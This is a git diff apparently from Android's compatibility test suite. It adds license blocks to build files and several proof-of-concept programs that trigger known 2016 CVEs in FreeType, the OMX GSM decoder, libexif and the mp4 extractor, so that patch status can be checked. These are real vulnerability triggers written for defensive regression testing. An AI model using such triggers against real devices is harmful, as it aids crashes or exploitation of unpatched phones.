+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000
+
+using namespace android;
+#endif /* _64_BIT */
+
+int main(int argc, char **argv) {
+  (void)argc;
+  (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+  if (argc < 2) {
+    return EXIT_FAILURE;
+  }
+
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = new FileSource(argv[1]);
+  if (!dataSource) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  void *creator = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  }
+  if (!creator) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  CMediaExtractor *mp4Extractor =
+      ((CreatorFunc)creator)(dataSource->wrap(), meta);
+  if (!mp4Extractor) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  if (meta != nullptr && freeMeta != nullptr) {
+    freeMeta(meta);
+  }
+
+  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+      new MediaExtractorCUnwrapper(mp4Extractor);
+  if (!mediaExtractorCUnwrapper) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  // seek to 10 seconds in the mp4 file
+  int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
+  size_t numTracks = mediaExtractorCUnwrapper->countTracks();
+  for (size_t i = 0; i < numTracks; ++i) {
+    MetaDataBase metaData;
+    MediaTrack *mediaTrack = mediaExtractorCUnwrapper->getTrack(i);
+    mediaExtractorCUnwrapper->getTrackMetaData(
+        metaData, i, MediaExtractor::kIncludeExtensiveMetaData);
+    MediaTrack::ReadOptions options;
+    if (seekTimeUs >= 0) {
+      options.setSeekTo(seekTimeUs,
+                        MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
+    }
+    if (mediaTrack) {
+      MediaBufferBase *mbuf = nullptr;
+      mediaTrack->start();
+      mediaTrack->read(&mbuf, &options);
+    }
+  }
+#endif /* _64_BIT */
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
index 3531cdb..9aafbfe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-0844",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
index 4546546..875923e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-10229",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
new file mode 100644
index 0000000..92d8f05
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2016-10244",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libft2",
+    ],
+    cflags: [
+        "-DCHECK_UNDERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..ad8b6e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+
+  FILE *fp = fopen(argv[1], "rb");
+  if (!fp) {
+    return EXIT_FAILURE;
+  }
+
+  fseek(fp, 0, SEEK_END);
+  size_t size = ftell(fp);
+  fseek(fp, 0, SEEK_SET);
+  if (size < 1) {
+    fclose(fp);
+    return EXIT_FAILURE;
+  }
+
+  uint8_t *data = new uint8_t[size];
+  if (!data) {
+    fclose(fp);
+    return EXIT_FAILURE;
+  }
+  (void)fread(data, sizeof(uint8_t), size, fp);
+  fclose(fp);
+  fp = nullptr;
+
+  FT_Library ftLib;
+  if (FT_Init_FreeType(&ftLib)) {
+    delete[] data;
+    return EXIT_FAILURE;
+  }
+
+  FT_Face ftFace;
+  FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+  FT_Done_FreeType(ftLib);
+  delete[] data;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
index c3537f2..816b323 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-2109",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
index 09e360d..2788d97 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-2412",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
index c2436bc..c1e34fe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-2419",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
index b31a788..d1c9c15 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-2460",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
index 53f06a5..103f4ac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-2471",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
index 3f6188a..e7fcb70 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-2482",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..dbf4cb2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2016-2485",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            srcs: [
+                ":cts_hostsidetests_securitybulletin_omxutils",
+            ],
+            shared_libs: [
+                "libstagefright",
+                "libbinder",
+                "libmedia_omx",
+                "libutils",
+                "liblog",
+                "libstagefright_foundation",
+                "libcutils",
+                "libhidlbase",
+                "libhidlmemory",
+                "android.hidl.allocator@1.0",
+                "android.hardware.media.omx@1.0",
+            ],
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+  buffers->clear();
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  int err = omxUtilsGetParameter(portIndex, &def);
+  omxExitOnError(err);
+  for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+    Buffer buffer;
+    buffer.mFlags = 0;
+    bool success;
+    auto transStatus = mAllocator->allocate(
+        BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+          success = s;
+          buffer.mHidlMemory = m;
+        });
+    omxExitOnError(!transStatus.isOk());
+    omxExitOnError(!success);
+    buffers->push(buffer);
+  }
+  return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+  (void)argc;
+  (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+  std::ifstream file(argv[1], std::ifstream::binary);
+  long size = FILE_SIZE;
+  uint8_t *buffer = new uint8_t[size];
+  if (!buffer) {
+    file.close();
+    return EXIT_FAILURE;
+  }
+  file.read((char *)buffer, size);
+
+  /* Initialize OMX for the specified codec                                 */
+  status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+  omxExitOnError(ret);
+
+  /* Set OMX input port parameters                                          */
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  if (!params) {
+    file.close();
+    delete[] buffer;
+    return EXIT_FAILURE;
+  }
+  params->nPortIndex = OMX_UTILS_IP_PORT;
+  params->nBufferSize = INPUT_BUFFER_SIZE;
+  params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+  omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+  /* Prepare input port buffers                                             */
+  int inMemSize = params->nBufferCountActual * params->nBufferSize;
+  int inBufferCnt = params->nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  /* Set OMX output port parameters                                          */
+  omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+  params->nPortIndex = OMX_UTILS_OP_PORT;
+  params->nBufferSize = VULNERABLE_SIZE;
+  params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+  omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+  /* Prepare output port buffers                                            */
+  int outBufferCnt = params->nBufferCountActual;
+  int outBufferSize = VULNERABLE_SIZE;
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  Vector<Buffer> inputBuffers;
+  Vector<Buffer> outputBuffers;
+  /* Register input buffers with OMX component                              */
+  allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+  for (int i = 0; i < inBufferCnt; ++i) {
+    inBufferId[i] = inputBuffers[i].mID;
+    sp<android::hidl::memory::V1_0::IMemory> mem =
+        mapMemory(inputBuffers[i].mHidlMemory);
+    memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+           INPUT_BUFFER_SIZE);
+    omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                      &inBufferId[i]);
+  }
+
+  /* Register output buffers with OMX component                             */
+  allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+  for (int i = 0; i < outBufferCnt; ++i) {
+    outBufferId[i] = outputBuffers[i].mID;
+    omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                      &outBufferId[i]);
+  }
+
+  /* Do OMX State change to Idle                                            */
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  /* Do OMX State change to Executing                                       */
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+  for (int i = 0; i < inBufferCnt; ++i) {
+    OMXBuffer omxBuf(0, inBufferSize);
+    omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+  }
+  for (int i = 0; i < outBufferCnt; ++i) {
+    OMXBuffer omxBuf(0, outBufferSize);
+    omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+  }
+  /* Do OMX State change to Idle                                            */
+  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  time_t currentTime = time(NULL);
+  time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+  while (currentTime < endTime) {
+    sleep(SLEEP_TIME_IN_SECONDS);
+    if (numCallbackEmptyBufferDone == inBufferCnt) {
+      break;
+    }
+    currentTime = time(NULL);
+  }
+  if (numCallbackEmptyBufferDone != inBufferCnt) {
+    free(params);
+    file.close();
+    delete[] buffer;
+    return EXIT_FAILURE;
+  }
+  /* Free input and output buffers                                          */
+  for (int i = 0; i < inBufferCnt; ++i) {
+    omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+  }
+  for (int i = 0; i < outBufferCnt; ++i) {
+    omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+  }
+
+  /* Free OMX resources                                                     */
+  omxUtilsFreeNode();
+  free(params);
+  file.close();
+  delete[] buffer;
+#endif /* _32_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
index 5d900d8..7860cd0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-3746",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
index 2a9b893..3e8b2db 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
@@ -11,6 +11,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-3747",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
index 2a488ae..e134eeb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-3818",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
index d076d40..2a633da 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-3913",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
index 5d45862..7243c16 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/poc.cpp
@@ -44,6 +44,8 @@
 
   status_t setDataSource(const sp<IDataSource> &source) { return OK; }
 
+  status_t setDataSource(const String8& rtpParams) { return OK; }
+
   status_t setVideoSurfaceTexture(
       const sp<IGraphicBufferProducer> &bufferProducer) {
     return OK;
@@ -164,4 +166,4 @@
   player->setNextPlayer(localPlayer);
 
   return EXIT_SUCCESS;
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
index 6e9d63a..e1c8cd0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-4658",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
index abdb201..daea235 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-5131",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -30,4 +34,3 @@
         "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192",
     ],
 }
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
index 2a49719..a32e10f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-5862",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
index b0f0e6c..34c69f3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-5867",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
new file mode 100644
index 0000000..a5df811
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2016-6328",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.c",
+    ],
+    shared_libs: [
+        "libexif",
+    ],
+    compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
new file mode 100644
index 0000000..366dd0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "libexif/exif-data.h"
+#include "libexif/pentax/exif-mnote-data-pentax.h"
+
+#define NUM_PAGES 2
+#define VULNERABLE_ENTRY_INDEX 6
+#define VALUE_SIZE 1024
+
+int main(int argc, char **argv) {
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    ExifData *exifData = exif_data_new_from_file(argv[1]);
+    if (!exifData) {
+        return EXIT_FAILURE;
+    }
+
+    ExifMnoteData *mData = exif_data_get_mnote_data(exifData);
+    if (!mData) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+
+    ExifMnoteDataPentax *mDataPentax = (ExifMnoteDataPentax *)mData;
+    if (!mDataPentax) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+
+    MnotePentaxEntry *entry = &mDataPentax->entries[VULNERABLE_ENTRY_INDEX];
+    if (!entry) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+
+    size_t page_size = getpagesize();
+    size_t num_pages = NUM_PAGES;
+    size_t total_size = page_size * num_pages;
+    unsigned char *start_ptr = (unsigned char *)memalign(page_size, total_size);
+    if (!start_ptr) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+    unsigned char *mem_ptr = start_ptr + ((num_pages - 1) * page_size);
+    mprotect(mem_ptr, page_size, PROT_NONE);
+
+    unsigned char *prev_ptr = entry->data;
+    entry->data = mem_ptr;
+    entry->size = 0;
+
+    char value[VALUE_SIZE];
+    exif_mnote_data_get_value(mData, VULNERABLE_ENTRY_INDEX, value, sizeof(value));
+
+    entry->data = prev_ptr;
+    free(start_ptr);
+    exif_data_unref(exifData);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
index 1cd33a2..69c6230 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6730",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
